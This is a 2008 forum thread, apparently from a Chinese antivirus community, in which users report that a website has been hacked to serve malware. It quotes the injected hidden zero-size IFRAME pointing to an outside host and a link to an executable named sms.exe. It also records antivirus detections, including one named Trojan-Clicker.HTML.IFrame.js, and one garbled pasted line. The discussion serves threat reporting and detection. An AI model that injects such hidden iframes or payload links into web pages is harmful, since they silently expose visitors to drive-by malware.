这个网站疑似被挂马

显示全部楼层 · 发表于 2008-12-16 10:31:45

http://www.redj.com.cn/

显示全部楼层 · 发表于 2008-12-16 11:32:50

首页末尾有一段

<IFRAME SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>

但我这上不去

显示全部楼层 · 发表于 2008-12-16 12:40:24

调用历史数据

http://www.nmmmn.com/sms.exe

老早就失效了

显示全部楼层 · 发表于 2008-12-16 17:19:28

卡巴506报木马。

显示全部楼层 · 发表于 2008-12-16 17:31:49

未见异常。

显示全部楼层 · 发表于 2008-12-16 18:04:35

卡巴506报木马

显示全部楼层 · 发表于 2008-12-17 00:34:40

上传样本

redj_com_cn[1].rar (1.21 KB, 下载次数: 34)

显示全部楼层 · 发表于 2008-12-17 03:36:50

KIS2009报
2009
Access denied
The requested URL could not be retrieved

While trying to retrieve the URL:

http://bbs.kafan.cn/attachment.php?aid=
421059&k=4b25fcabb8c8a4e91ffc81073d71339
d&t=1229456120

The following error was encountered:

The requested object is INFECTED with the following viruses: Trojan-Clicker.HTML.IFrame.js

Please contact your service provider if you consider it incorrect.
Generated:
Wed Dec 17 03:36:03 2008
їЁ°НЛ№»щ»ҐБЄНш°ІИ«МЧЧ° 2009

显示全部楼层 · 发表于 2008-12-17 13:01:56

小A报毒。。。

[已鉴定] 这个网站疑似被挂马